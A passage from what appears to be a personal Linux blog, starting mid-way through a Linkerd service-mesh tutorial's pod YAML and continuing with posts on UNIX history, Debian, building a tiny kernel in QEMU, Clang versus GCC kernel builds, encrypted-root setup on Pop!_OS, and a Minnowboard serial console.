        MBQGCCsGAQUFBwMBBggrBgEFBQcDAjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW
        BBThSr0yAj5joW7pj/NZPYcfIIepbzAKBggqhkjOPQQDAgNIADBFAiAomg0TVn6N
        UxhOyzZdg848lAvH0Io9Ra/Ef2hxZGN0LgIhAIKjrsgDUqZA8XHiiciYYicxFnKr
        Tw5yj9gBhVAgYCaB
        -----END CERTIFICATE-----
    - name: LINKERD2_PROXY_IDENTITY_TOKEN_FILE
      value: /var/run/secrets/tokens/linkerd-identity-token
    - name: LINKERD2_PROXY_IDENTITY_SVC_ADDR
      value: linkerd-identity-headless.linkerd.svc.cluster.local.:8080
    - name: LINKERD2_PROXY_IDENTITY_LOCAL_NAME
      value: $(_pod_sa).$(_pod_ns).serviceaccount.identity.linkerd.cluster.local
    - name: LINKERD2_PROXY_IDENTITY_SVC_NAME
      value: linkerd-identity.linkerd.serviceaccount.identity.linkerd.cluster.local
    - name: LINKERD2_PROXY_DESTINATION_SVC_NAME
      value: linkerd-destination.linkerd.serviceaccount.identity.linkerd.cluster.local
    - name: LINKERD2_PROXY_POLICY_SVC_NAME
      value: linkerd-destination.linkerd.serviceaccount.identity.linkerd.cluster.local
    - name: LINKERD2_PROXY_TAP_SVC_NAME
      value: tap.linkerd-viz.serviceaccount.identity.linkerd.cluster.local
    image: cr.l5d.io/linkerd/proxy:stable-2.12.2
    imagePullPolicy: IfNotPresent
    lifecycle:
      postStart:
        exec:
          command:
          - /usr/lib/linkerd/linkerd-await
          - --timeout=2m
    livenessProbe:
      failureThreshold: 3
      httpGet:
        path: /live
        port: 4191
        scheme: HTTP
      initialDelaySeconds: 10
      periodSeconds: 10
      successThreshold: 1
      timeoutSeconds: 1
    name: linkerd-proxy
    ports:
    - containerPort: 4143
      name: linkerd-proxy
      protocol: TCP
    - containerPort: 4191
      name: linkerd-admin
      protocol: TCP
    readinessProbe:
      failureThreshold: 3
      httpGet:
        path: /ready
        port: 4191
        scheme: HTTP
      initialDelaySeconds: 2
      periodSeconds: 10
      successThreshold: 1
      timeoutSeconds: 1
    resources: {}
    securityContext:
      allowPrivilegeEscalation: false
      readOnlyRootFilesystem: true
      runAsUser: 2102
    terminationMessagePath: /dev/termination-log
    terminationMessagePolicy: FallbackToLogsOnError
    volumeMounts:
    - mountPath: /var/run/linkerd/identity/end-entity
      name: linkerd-identity-end-entity
    - mountPath: /var/run/secrets/tokens
      name: linkerd-identity-token
    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
      name: kube-api-access-9zpnn
      readOnly: true
  - image: nginx:latest
    imagePullPolicy: Always
    name: nginx
    ports:
    - containerPort: 80
      protocol: TCP
    resources: {}
    terminationMessagePath: /dev/termination-log
    terminationMessagePolicy: File
    volumeMounts:
    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
      name: kube-api-access-9zpnn
      readOnly: true
  dnsPolicy: ClusterFirst
  enableServiceLinks: true
  initContainers:
  - args:
    - --incoming-proxy-port
    - "4143"
    - --outgoing-proxy-port
    - "4140"
    - --proxy-uid
    - "2102"
    - --inbound-ports-to-ignore
    - 4190,4191,4567,4568
    - --outbound-ports-to-ignore
    - 4567,4568
    image: cr.l5d.io/linkerd/proxy-init:v2.0.0
    imagePullPolicy: IfNotPresent
    name: linkerd-init
    resources:
      limits:
        cpu: 100m
        memory: 20Mi
      requests:
        cpu: 100m
        memory: 20Mi
    securityContext:
      allowPrivilegeEscalation: false
      capabilities:
        add:
        - NET_ADMIN
        - NET_RAW
      privileged: false
      readOnlyRootFilesystem: true
      runAsNonRoot: true
      runAsUser: 65534
    terminationMessagePath: /dev/termination-log
    terminationMessagePolicy: FallbackToLogsOnError
    volumeMounts:
    - mountPath: /run
      name: linkerd-proxy-init-xtables-lock
    - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
      name: kube-api-access-9zpnn
      readOnly: true
  nodeName: k8s-node1
  preemptionPolicy: PreemptLowerPriority
  priority: 0
  restartPolicy: Always
  schedulerName: default-scheduler
  securityContext: {}
  serviceAccount: default
  serviceAccountName: default
  terminationGracePeriodSeconds: 30
  tolerations:
  - effect: NoExecute
    key: node.kubernetes.io/not-ready
    operator: Exists
    tolerationSeconds: 300
  - effect: NoExecute
    key: node.kubernetes.io/unreachable
    operator: Exists
    tolerationSeconds: 300
  volumes:
  - name: kube-api-access-9zpnn
    projected:
      defaultMode: 420
      sources:
      - serviceAccountToken:
          expirationSeconds: 3607
          path: token
      - configMap:
          items:
          - key: ca.crt
            path: ca.crt
          name: kube-root-ca.crt
      - downwardAPI:
          items:
          - fieldRef:
              apiVersion: v1
              fieldPath: metadata.namespace
            path: namespace
  - emptyDir: {}
    name: linkerd-proxy-init-xtables-lock
  - emptyDir:
      medium: Memory
    name: linkerd-identity-end-entity
  - name: linkerd-identity-token
    projected:
      defaultMode: 420
      sources:
      - serviceAccountToken:
          audience: identity.l5d.io
          expirationSeconds: 86400
          path: linkerd-identity-token
status:
  conditions:
  - lastProbeTime: null
    lastTransitionTime: "2022-11-05T19:44:16Z"
    status: "True"
    type: Initialized
  - lastProbeTime: null
    lastTransitionTime: "2022-11-05T19:44:19Z"
    status: "True"
    type: Ready
  - lastProbeTime: null
    lastTransitionTime: "2022-11-05T19:44:19Z"
    status: "True"
    type: ContainersReady
  - lastProbeTime: null
    lastTransitionTime: "2022-11-05T19:44:15Z"
    status: "True"
    type: PodScheduled
  containerStatuses:
  - containerID: containerd://62028867c48aaa726df48249a27c52cd8820cd33e8e5695ad0d322540924754e
    image: cr.l5d.io/linkerd/proxy:stable-2.12.2
    imageID: cr.l5d.io/linkerd/proxy@sha256:787db5055b2a46a3c4318ef3b632461261f81254c8e47bf4b9b8dab2c42575e4
    lastState: {}
    name: linkerd-proxy
    ready: true
    restartCount: 0
    started: true
    state:
      running:
        startedAt: "2022-11-05T19:44:16Z"
  - containerID: containerd://8f8ce663c19360a7b6868ace68a4a5119f0b18cd57ffebcc2d19331274038381
    image: docker.io/library/nginx:latest
    imageID: docker.io/library/nginx@sha256:943c25b4b66b332184d5ba6bb18234273551593016c0e0ae906bab111548239f
    lastState: {}
    name: nginx
    ready: true
    restartCount: 0
    started: true
    state:
      running:
        startedAt: "2022-11-05T19:44:19Z"
  hostIP: 192.168.2.216
  initContainerStatuses:
  - containerID: containerd://c0417ea9c8418ab296bf86077e81c5d8be06fe9b87390c138d1c5d7b73cc577c
    image: cr.l5d.io/linkerd/proxy-init:v2.0.0
    imageID: cr.l5d.io/linkerd/proxy-init@sha256:7d5e66b9e176b1ebbdd7f40b6385d1885e82c80a06f4c6af868247bb1dffe262
    lastState: {}
    name: linkerd-init
    ready: true
    restartCount: 0
    state:
      terminated:
        containerID: containerd://c0417ea9c8418ab296bf86077e81c5d8be06fe9b87390c138d1c5d7b73cc577c
        exitCode: 0
        finishedAt: "2022-11-05T19:44:16Z"
        reason: Completed
        startedAt: "2022-11-05T19:44:15Z"
  phase: Running
  podIP: 172.16.36.90
  podIPs:
  - ip: 172.16.36.90
  qosClass: Burstable
  startTime: "2022-11-05T19:44:15Z"

At this point, the necessary components are setup for you to explore Linkerd further. You can also try out the jaeger and multicluster extensions, similar to the process of installing and using the viz extension and try out their capabilities.

Inject Linkerd data plane automatically

In this approach, we shall see how to instruct Kubernetes to automatically inject the Linkerd data plane to workloads at deployment time.

We can achieve this by adding the linkerd.io/inject annotation to the deployment descriptor which causes the proxy injector admission hook to execute and inject linkerd data plane components automatically at the time of deployment.

$ cat deploy.yaml 
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deployment
spec:
  selector:
    matchLabels:
      app: nginx
  replicas: 2
  template:
    metadata:
      labels:
        app: nginx
      annotations:
        linkerd.io/inject: enabled
    spec:
      containers:
      - name: nginx
        image: nginx:latest
        ports:
        - containerPort: 80

This annotation can also be specified at the namespace level to affect all the workloads within the namespace. Note that any resources created before the annotation was added to the namespace will require a rollout restart to trigger the injection of the Linkerd components.

Uninstalling Linkerd

Now that we have walked through the installation and setup process of Linkerd, let’s also cover how to remove it from the infrastructure and go back to the state prior to its installation.

The first step would be to remove extensions, such as viz.

$ linkerd viz uninstall | kubectl delete -f -
clusterrole.rbac.authorization.k8s.io "linkerd-linkerd-viz-metrics-api" deleted
clusterrole.rbac.authorization.k8s.io "linkerd-linkerd-viz-prometheus" deleted
clusterrole.rbac.authorization.k8s.io "linkerd-linkerd-viz-tap" deleted
clusterrole.rbac.authorization.k8s.io "linkerd-linkerd-viz-tap-admin" deleted
clusterrole.rbac.authorization.k8s.io "linkerd-linkerd-viz-web-api" deleted
clusterrole.rbac.authorization.k8s.io "linkerd-linkerd-viz-web-check" deleted
clusterrole.rbac.authorization.k8s.io "linkerd-tap-injector" deleted
clusterrolebinding.rbac.authorization.k8s.io "linkerd-linkerd-viz-metrics-api" deleted
clusterrolebinding.rbac.authorization.k8s.io "linkerd-linkerd-viz-prometheus" deleted
clusterrolebinding.rbac.authorization.k8s.io "linkerd-linkerd-viz-tap" deleted
clusterrolebinding.rbac.authorization.k8s.io "linkerd-linkerd-viz-tap-auth-delegator" deleted
clusterrolebinding.rbac.authorization.k8s.io "linkerd-linkerd-viz-web-admin" deleted
clusterrolebinding.rbac.authorization.k8s.io "linkerd-linkerd-viz-web-api" deleted
clusterrolebinding.rbac.authorization.k8s.io "linkerd-linkerd-viz-web-check" deleted
clusterrolebinding.rbac.authorization.k8s.io "linkerd-tap-injector" deleted
role.rbac.authorization.k8s.io "web" deleted
rolebinding.rbac.authorization.k8s.io "linkerd-linkerd-viz-tap-auth-reader" deleted
rolebinding.rbac.authorization.k8s.io "web" deleted
apiservice.apiregistration.k8s.io "v1alpha1.tap.linkerd.io" deleted
mutatingwebhookconfiguration.admissionregistration.k8s.io "linkerd-tap-injector-webhook-config" deleted
namespace "linkerd-viz" deleted
authorizationpolicy.policy.linkerd.io "admin" deleted
authorizationpolicy.policy.linkerd.io "metrics-api" deleted
authorizationpolicy.policy.linkerd.io "proxy-admin" deleted
authorizationpolicy.policy.linkerd.io "tap" deleted
authorizationpolicy.policy.linkerd.io "tap-injector" deleted
server.policy.linkerd.io "admin" deleted
server.policy.linkerd.io "metrics-api" deleted
server.policy.linkerd.io "proxy-admin" deleted
server.policy.linkerd.io "tap-api" deleted
server.policy.linkerd.io "tap-injector-webhook" deleted

In order to uninstall the control plane, you would need to first “uninject” the Linkerd control plane components from any existing running pods by:

$ kubectl get deployments
NAME               READY   UP-TO-DATE   AVAILABLE   AGE
nginx-deployment   2/2     2            2           10m$ kubectl get deployment nginx-deployment -o yaml | linkerd uninject - | kubectl apply -f -deployment "nginx-deployment" uninjecteddeployment.apps/nginx-deployment configured

Now you can delete the control plane.

$ linkerd uninstall | kubectl delete -f -
clusterrole.rbac.authorization.k8s.io "linkerd-heartbeat" deleted
clusterrole.rbac.authorization.k8s.io "linkerd-linkerd-destination" deleted
clusterrole.rbac.authorization.k8s.io "linkerd-linkerd-identity" deleted
clusterrole.rbac.authorization.k8s.io "linkerd-linkerd-proxy-injector" deleted
clusterrole.rbac.authorization.k8s.io "linkerd-policy" deleted
clusterrolebinding.rbac.authorization.k8s.io "linkerd-destination-policy" deleted
clusterrolebinding.rbac.authorization.k8s.io "linkerd-heartbeat" deleted
clusterrolebinding.rbac.authorization.k8s.io "linkerd-linkerd-destination" deleted
clusterrolebinding.rbac.authorization.k8s.io "linkerd-linkerd-identity" deleted
clusterrolebinding.rbac.authorization.k8s.io "linkerd-linkerd-proxy-injector" deleted
role.rbac.authorization.k8s.io "linkerd-heartbeat" deleted
rolebinding.rbac.authorization.k8s.io "linkerd-heartbeat" deleted
customresourcedefinition.apiextensions.k8s.io "authorizationpolicies.policy.linkerd.io" deleted
customresourcedefinition.apiextensions.k8s.io "httproutes.policy.linkerd.io" deleted
customresourcedefinition.apiextensions.k8s.io "meshtlsauthentications.policy.linkerd.io" deleted
customresourcedefinition.apiextensions.k8s.io "networkauthentications.policy.linkerd.io" deleted
customresourcedefinition.apiextensions.k8s.io "serverauthorizations.policy.linkerd.io" deleted
customresourcedefinition.apiextensions.k8s.io "servers.policy.linkerd.io" deleted
customresourcedefinition.apiextensions.k8s.io "serviceprofiles.linkerd.io" deleted
mutatingwebhookconfiguration.admissionregistration.k8s.io "linkerd-proxy-injector-webhook-config" deleted
validatingwebhookconfiguration.admissionregistration.k8s.io "linkerd-policy-validator-webhook-config" deleted
validatingwebhookconfiguration.admissionregistration.k8s.io "linkerd-sp-validator-webhook-config" deleted
namespace "linkerd" deleted

At this point we’re back to the original state:

$ kubectl get pods -A
NAMESPACE     NAME                                       READY   STATUS    RESTARTS        AGE
default       nginx-deployment-cd55c47f5-99xf2           1/1     Running   0               82s
default       nginx-deployment-cd55c47f5-tt58t           1/1     Running   0               86s
kube-system   calico-kube-controllers-59697b644f-7fsln   1/1     Running   2 (3h39m ago)   7d1h
kube-system   calico-node-6ptsh                          1/1     Running   2 (3h39m ago)   7d1h
kube-system   calico-node-7x5j8                          1/1     Running   2 (3h39m ago)   7d1h
kube-system   calico-node-qlnf6                          1/1     Running   2 (3h39m ago)   7d1h
kube-system   coredns-565d847f94-79jlw                   1/1     Running   2 (3h39m ago)   7d2h
kube-system   coredns-565d847f94-fqwn4                   1/1     Running   2 (3h39m ago)   7d2h
kube-system   etcd-k8s-master                            1/1     Running   2 (3h39m ago)   7d2h
kube-system   kube-apiserver-k8s-master                  1/1     Running   2 (3h39m ago)   7d2h
kube-system   kube-controller-manager-k8s-master         1/1     Running   2 (3h39m ago)   7d2h
kube-system   kube-proxy-4n9b7                           1/1     Running   2 (3h39m ago)   7d2h
kube-system   kube-proxy-k4rzv                           1/1     Running   2 (3h39m ago)   7d2h
kube-system   kube-proxy-lz2dd                           1/1     Running   2 (3h39m ago)   7d2h
kube-system   kube-scheduler-k8s-master                  1/1     Running   2 (3h39m ago)   7d2h

I hope you find this useful to get you started on your journey with Linkerd. Head on over to the docs for more information, guides and best practices.

UNIX has a colorful history that goes back many decades and the stories of how certain aspects of the operating system evolved or came to be, usually at the hands of one luminary or the other over a weekend, is now well documented in the lore of this sub-culture, and continues to kept alive and passed orally from generation to generation in the back alleys of Usenet and IRC. Some stories have also been known to surface on YouTube, every now and then.

One of these stories is how Ken Thompson implemented grep, based on the regular expressions implementation ofed — the canonical line editor. Similarly, many of the core utils of UNIX followed a similar pattern of genesis from a very practical need to do one thing, and do it well, which was the basis of its entire philosophy.

Thus began the journey of many forks, implementations and blood lines of UNIX that live on to this day in the form of BSDs, Linux and commercial UNIX variants that shall not be named.

GNU/Linux, which is not a direct descendant of the original bits of either AT&T or BSD, and thus not heir to the title of UNIX in the eyes of some purists, ironically brought UNIX to the masses in ways that the more pure-breeds could not. Capitalizing on the confusion created by the AT&T / BSD battles, Linux set its sights on world domination (albeit unwittingly), and the rest as they say is mostly history.

Today, GNU/Linux leads the pack among the Open Source UNIX variants that are active today (such as FreeBSD, NetBSD and OpenBSD). The commercial variants, still alive in data centers, continue to be pushed by big-name vendors, despite being caught in a death spiral and struggling to stay afloat in the face of the penguin tsunami. The once inimitable SunOS/Solaris fizzled away quietly, but continue to live on in Illumos and OpenIndiana, a shell of its former self.

And so it comes down to a handful. On the one hand, GNU/Linux, the irreverent and bastard poster-child that continues to evolve at break-neck speed, and the Right Honourable BSDs that continue to keep the original philosophy alive in its purest form and fighting valiantly into the next decade and into the twilight of most of its developer and user base.

And that brings me to the end of this otherwise hyperbolic ramble. In my next post, I will touch upon some of the key differences between these two great variants and what I think of them, so stay tuned.

Until then, here's Ken Thompson on the origin story:

Today, Debian celebrates its 27th birthday. It is now one of the oldest and most widespread Linux distributions with many offshoots and derivatives while continuing to deliver rock solid stable releases in its own measured pace.

I’ve been a Debian user for 20 years now, 13 of which as a Debian Maintainer. Three months ago, I completed the new member process that I’ve been putting off for so long and finally became a Debian Developer. Things have not changed much since I already had upload rights to the packages that I was maintaining, but now I have access to machines running on arcane architectures and of course, voting rights. Not to mention the right to scratch off an item off the old bucket list.

Happy birthday Debian, thanks for all the good times, here’s to many more!

Today we will go over the process of building a tiny Linux kernel, and booting into a shell. To start with, fetch the Linux source tree that you’d like to try this out on. I’m using staging tree for this post. You can get it here:

$ git clone git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/staging.git

To get an initial config that’s very minimalist:

$ make tinyconfig

Here’s a comparison of the config options enabled by tinyconfig to a stock kernel that come with my Debian distribution:

$ grep "=y" .config | wc -l
247
$ grep "=m" .config | wc -l
0
$ grep "=y" /boot/config-5.4.0-4-amd64 | wc -l
2071
$ grep "=m" /boot/config-5.4.0-4-amd64 | wc -l
3401

Let’s try to build it:

$ time make -j16
scripts/kconfig/conf  --syncconfig Kconfig
  SYSTBL  arch/x86/include/generated/asm/syscalls_32.h
  SYSHDR  arch/x86/include/generated/uapi/asm/unistd_32.h
  SYSHDR  arch/x86/include/generated/uapi/asm/unistd_64.h
  SYSHDR  arch/x86/include/generated/uapi/asm/unistd_x32.h
  WRAP    arch/x86/include/generated/uapi/asm/bpf_perf_event.h
.
.
.
.
Setup is 13788 bytes (padded to 13824 bytes).
System is 417 kB
CRC 435fb428
Kernel: arch/x86/boot/bzImage is ready  (#1)real 0m15.468s
user 2m12.094s
sys 0m14.603s

The kernel builds to around ~430k. This is a 32-bit kernel by default, so let’s enable 64-bit support:

$ make menuconfig

Enable the TTY for console support:

and support for printk to see console output as the kernel boots:

Build again:

Setup is 13596 bytes (padded to 13824 bytes).
System is 737 kB
CRC d273f4d
Kernel: arch/x86/boot/bzImage is ready  (#4)real 0m6.045s
user 0m40.808s
sys 0m3.958s

The size has gone up somewhat, nearly double what we started off with. If you’re only supporting a serial interface, even this additional bloat can be avoided to keep the size of the image down.

Boot the kernel with qemu:

$ qemu-system-x86_64 -kernel arch/x86/boot/bzImage

The kernel boots and panics when attempting to start init, as expected. In order to boot into a shell as we originally set out to do, we will need a filesystem and a shell that can be started by the kernel as PID 1. Let us create a bare bones ram disk image that we can use to boot into a minimal busybox shell.

There are plenty of ways to achieve this, and here’s just one way:

$ git clone git@github.com:aweeraman/kernel-utils.git
$ kernel-utils/create-initrd.sh 
Creating initrd filesystem... ok
Building dependencies... 
Cloning into 'busybox'...
remote: Enumerating objects: 29, done.
remote: Counting objects: 100% (29/29), done.
remote: Compressing objects: 100% (23/23), done.
remote: Total 110424 (delta 16), reused 14 (delta 6), pack-reused 110395
Receiving objects: 100% (110424/110424), 37.05 MiB | 5.40 MiB/s, done.
Resolving deltas: 100% (87061/87061), done.
Building initrd... 4882 blocks

Before we can use this ram disk, we need to enable init RAM disk (initrd) support in the kernel:

I have only included support for gzip compression and disabled the rest.

We will also need to enable ELF-support to be able to start up the shell:

This time, when booting the kernel, pass in the -initrd argument and specify the initrd image that we created earlier, in addition to an argument to the kernel to specify the binary that it should look for in the ram disk and execute once the kernel has finished booting, which is in this case is ‘/bin/sh’.

$ qemu-system-x86_64 -kernel arch/x86/boot/bzImage -initrd kernel-utils/initramfs.cpio.gz -append "init=/bin/sh"

And we have a shell.

Let’s enable the /proc filesystem so we can run some standard commands:

Mount the proc file system after booting, so you can use commands like ‘ps’ and ‘free’:

Here’s the size of the kernel that we just built:

Setup is 13788 bytes (padded to 13824 bytes).
System is 793 kB

Note that this is the size of the compressed kernel on disk and the actual memory used at boot time is comparable to the size of the generated vmlinux file, which in this case is 12MB. You would need at least that much memory to load the kernel into memory, plus 8–16MB additionally for the user space. Here’s the minimum memory configuration that allowed me to boot this kernel in qemu:

$ qemu-system-x86_64 -kernel arch/x86/boot/bzImage -initrd kernel-utils/initramfs.cpio.gz -append "init=/bin/sh" -m 29M

Just for kicks, I disabled printk and booted up the kernel, that put me into a shell almost immediately:

Finally, the compressed kernel size comes down to:

Setup is 13788 bytes (padded to 13824 bytes).
System is 749 kB

I decided to give Clang a spin to compile the kernel, and given that I’m not exactly an early adopter in attempting this, it was pretty smooth and straightforward overall. All it took was:

$ make CC=clang HOSTCC=clang -j12

I also did a quick comparison of the output of the two compilers with a standard ‘defconfig’ with CONFIG_DEBUG_INFO=y enabled on x86_64:

With GCC 9.2.1:

• Build #1: real 3m38.073s, user 31m22.669s, sys 3m17.740s

• Build #2: real 3m46.561s, user 31m58.313s, sys 3m22.958s

• Build #3: real 3m38.174s, user 31m33.390s, sys 3m19.014s With Clang 9.0.0:

• Build #1: real 5m21.978s, user 50m45.085s, sys 3m55.455s

• Build #2: real 5m22.094s, user 50m44.977s, sys 3m53.522s

• Build #3: real 5m17.531s, user 50m29.478s, sys 3m52.730s It appears that the compile time was up by nearly 50% with Clang.

Next, a comparison of the vmlinux file generated by the two compilers. CONFIG_DEBUG_INFO is enabled:

• GCC 9.2.1:** 739M**

• Clang 9.0.0:** 544M** This was a little interesting at first since the GCC generated kernel is 35% bigger than the Clang generated one. I decided to do another test with CONFIG_DEBUG_INFO disabled for comparison.

• GCC 9.2.1:** vmlinux 57M (31M stripped), bzImage 8.7M**

• Clang 9.0.0:** vmlinux 57M (31M stripped), bzImage 8.9M** With debug information stripped, it comes around to the same size, so both are even on this. The compile-time performance was similarly noticeable in this case as well. While faster than with debugging symbols enabled, Clang took longer to build compared to GCC.

• GCC 9.2.1 : real 2m40.687s, user 26m0.946s, sys 2m36.858s

• Clang 9.0.0 : real 4m41.045s, user 46m9.836s, sys 3m18.187s Next, I took a very crude look at kernel + systemd start time to login prompt on a qemu emulator, to see if there was any difference to execution speeds and here’s what I saw during three iterations:

• GCC 9.2.1 : 3.85s, 3.98s, 3.74s

• Clang : 3.70s, 3.62s, 3.70s While it’s a somewhat crude metric, I think the perceived variance is not significant or perceptible at least for the casual user, and would also claim things to be more or less even on this front.

Overall, I think it’s good to have options for open source compilers and I’m glad that Clang has come into the picture as a serious contender for the domination that GCC endured over many decades.

In the last 24 hours, I have been experimenting with this interestingly named and absolutely gorgeous Linux distribution called Pop!_OS by System76 (a maker of Linux-friendly hardware). An Ubuntu derivative, it features an extremely polished user experience and I was taken aback by its aesthetic and charming simplicity, which led me to some comparisons, quite unfairly with Debian.

I first started using Debian back in 2000, when I got a few CDs of Debian 2.2 (the “Potato” release) from my good friend and namesake Anuradha Ratnaweera. It was a time when distributions were passed around like joints in a tight circle of like-minded hipsters and rebels for whom Linux was the gateway drug to the expansive world of Unix, Free software and activism.

Debian has always been and will continue to be the uber-distribution. With hundreds of offshoots, it is a testament to its longevity, and the excellent foundation that it has built over the years. There was a period of time about ten years ago that I was actively contributing to Debian, but have since lapsed due to the time commitment needed. It was a fun time, special shout out to my Debian mentor Niibe Yutaka.

With Niibe at an FSF meetup at MIT, 2006.

At the time, Debian had a stable curses installer, and installation meant pecking at the enter key about 20 times, enter a few details and passwords and you’re good to go — this was miles ahead of text mode installers. 20 years later, things haven’t changed much on this front for Debian. Enter Pop!_OS. While still based on Ubuntu, the whole design aesthetic is so much cleaner and elegant, required very little user input and before I knew it, the installation was done and I was dual-booting.

There used to be a time, when you install X, configure XF86Config by hand, run xinit, breathe a sigh of relief when you see the checkered background and decoration-less terminal and spend hours tweaking files, layering-in the right window manager, applets, backgrounds and themes until you have a desktop that you can truly be proud of and really call your own. No two desktops were alike. The process of getting an Nvidia Optimus hardware setup on Debian, still feels a lot like those days, with Xorg configuration, xrandr, display managers requiring non-trivial time commitment to get things working on a dual-monitor setup the way you really want. This doesn’t take into account the myriad of ways this can be achieved through Bumblebee, nvidia-xrun and the like.

Pop!_OS (and Ubuntu as well for that matter) just works. I know it ain’t “Free”, yeah it uses blobs, and the kernel’s tainted, but the GPU does work, and power management is “better”, and I have two days back and can actually work rather than getting things to work. The activist in me would have balked at this ten years ago, but its a different time, and Free software is now the norm rather than the exception. There are still subtleties of “Freedom” and liberties that still concern and do matter, but for the most part, the battle is won.

But, as it is with all things, it’s not always that simple. For instance, while Pop! (I’ll just call it that) installs easily, its custom-mode installer doesn’t encrypt the root file system by default, nor is there an option to do so in 19.04. Sigh.

But here’s what I discovered. If you give Pop! a pre-encrypted root filesystem, it will happily mount it, install itself and upon booting, exit into an initrd shell when it fails to find root. To get around this, use the Pop! live distro on USB, and perform the following to get Pop! to boot with the encrypted filesystem. I had some help from this link right here:

$ sudo bash

Cos I hate repeating myself and I never liked ‘su’ much.

# cryptsetup luksOpen /dev/nvmeXX cryptroot
# mount /dev/mapper/cryptroot /mnt
# mount /dev/nvmeYY /mnt/boot/efi

Yes, Pop! uses systemd-boot. LILO, Grub, and now systemd-boot. Still remember seeing LI and not LO and thinking “wtf just happened”, but it was a simpler time and troubleshooting was easier, better addressed in a different rant.

Next, mount the myriad of virtual filesystems and chroot into the rootfs:

# for i in /dev /dev/pts /proc /sys /run; do sudo mount -B $i /mnt$i; done
# chroot /mnt

Setup /etc/crypttab with the encrypted partitions:

cryptroot UUID=<UUID> none cipher=aes-xts-plain64,size=256,hash=sha1
crypthome UUID=<UUID> none cipher=aes-xts-plain64,size=256,hash=sha1
cryptswap UUID=<UUID> /dev/urandom swap,offset=1024,cipher=aes-xts-plain64,size=512

Configure /etc/fstab:

/dev/mapper/cryptswap none swap  defaults 0 0
/dev/mapper/crypthome /home ext4 noatime,errors=remount-ro 0 0
/dev/mapper/cryptroot / ext4  noatime,errors=remount-ro 0 0

Update /etc/initramfs-tools/conf.d/cryptroot:

target=cryptroot,source=/dev/nvmeX

Update the initrd and install systemd-boot in to the EFI system partition:

# update-initramfs -c -k all
# exit
# bootctl --path=/mnt/boot/efi install

With this in place, reboot and systemd-boot should unceremoniously request your input to unlock the encrypted disks and assuming you got all the UUIDs right, launch the Pop! desktop and request you to create a non-root user. Yes, Pop! does this after installation and not during installation.

It so happened that I did a software update afterwards and it once again dropped me into an initrd shell from where I had to crawl out and figure out that a new kernel had messed up the boot. I wondered why the triggers or hooks didn’t recreate the initrd and setup the bootloader when it did, but oh well, I went through the above process again to update-initramfs followed by bootctl and I was off to the races again.

For the record, I still do have a soft spot for Debian. Distros will come and go, but I believe Debian’s in it for the long haul, and while it may not be zippy and flashy like the new kids in town, its the ever reliable. If you’re running a server or anything mission critical, look no further than Debian stable. On the desktop however, Pop! is a good contender, or Debian unstable if you’re so inclined, or both, as I do.

In this post, I will walk you through the process of connecting to a Minnowboard over a serial console connection, so that you can use it without having to hook up a monitor or keyboard. For those of you that may be new to Minnowboards, they are single board computers that fall into the niche segment of SBCs that are based on Intel x86 processors unlike the ARM processors that are prevalent in the vast majority of Raspberry Pi and derivative single board computers out there. A few other alternatives in this category of boards are the Latte Panda and the Udoo.

Minnowboards tend to be in the ~$200 price range on the high end, so not exactly in the price point of Raspberry Pi which is perfectly positioned for hobbyist and DIY work, but as I learnt, x86 SBC equivalents tend to be more expensive. This is compounded by the fact that Intel has discontinued its line of maker boards and chips, such as the Edison, Galileo and its Joule platform, cementing the chip giant's loss on the war to ARM at the edge and in low power constrained environments.

Minnowboard themselves, seem to be pretty defunct at this point, and well on its way to follow Edison into the shadowy valley of single board computer death, so get your hands on one while you still can, particularly if you have an inclination to x86 and have issues with the proprietary Broadcom ecosystem and don't want to spend $400 on the new Latte Panda. The eco-system is far from healthy, without much in the way of add-ons, extension boards, accessories or communities to speak of, so you're pretty much on your own as far as I can see, but you my dear reader, do not need a support system. No, you will be fine. It's x86 after all.

You can explore the components of the Minnowboard at the link below:

Source: https://minnowboard.org/minnowboard-turbot/board-explorer

Just like the Raspberry Pi, you would need to connect it to a monitor using the mini-HDMI port available on the board, and a USB keyboard or mouse to begin using it. The operating system can be loaded on to a micro-SD card slot that it has available for the purpose of booting. Alternatively, you can connect to the board from a computer using a serial connection with a USB to Serial FTDI cable.

Source: https://www.amazon.com/gp/product/B00SK8LK1W/ref=ppx_yo_dt_b_asin_title_o02_s00?ie=UTF8&psc=1

For this example, we will be using Linux, specifically Arch Linux for the other computer that is used to connect to the Minnowboard, but the instructions should work just as well on any other distribution. As a first step, connect the FTDI cable to your host computer and take a look at the dmesg output to see what serial device is detected that you will need for subsequent steps.

$ dmesg | tail -n 9
[67533.445346] usb 1-1: new full-speed USB device number 7 using xhci_hcd
[67533.591778] usb 1-1: New USB device found, idVendor=0403, idProduct=6001, bcdDevice= 6.00
[67533.591821] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[67533.591826] usb 1-1: Product: FT232R USB UART
[67533.591830] usb 1-1: Manufacturer: FTDI
[67533.591834] usb 1-1: SerialNumber: AC01N551
[67533.597762] ftdi_sio 1-1:1.0: FTDI USB Serial Device converter detected
[67533.597819] usb 1-1: Detected FT232RL
[67533.598311] usb 1-1: FTDI USB Serial Device converter now attached to ttyUSB0

Most kernels should have FTDI support out of the box and should give you output similar to the above when the cable is connected. Based on the above output, the serial device that you will need to connect to is /dev/ttyUSB0.

Connect the other end of the cable to male jumper header on the board as shown in the photograph below with ground (Pin 1) as shown.

Prepare a micro-SD card with your operating system of choice. You can load up an image of Arch using the example below:

$ sudo dd if=archlinux-2019.03.01-x86_64.iso of=/dev/sdb bs=4M status=progress
616562688 bytes (617 MB, 588 MiB) copied, 3 s, 203 MB/s
150+1 records in
150+1 records out
631242752 bytes (631 MB, 602 MiB) copied, 18.435 s, 34.2 MB/s

Insert it into the SD-card slot on the board, and you should be ready to boot it up.

Pull up a terminal, and run the following command:

$ screen /dev/ttyUSB0 115200

The screen will be blank, until you power up the board.

The CPU fan will whir and spring into action and two blue LEDs, for power and CPU will light up and you should see the following on the terminal:

Hit to enter setup.

Enter the Boot Manager and select the Boot Device to boot into. You should see the GRUB boot menu for the distro. In a few seconds it will automatically start to boot the OS, but before that, hit the ‘e’ key so that you see the parameters that are being passed into the kernel at the bottom of the screen:

Enter the the following string at the beginning of the line:

console=ttyS0,115200n8

so that you see something like this on the screen:

and press Enter.

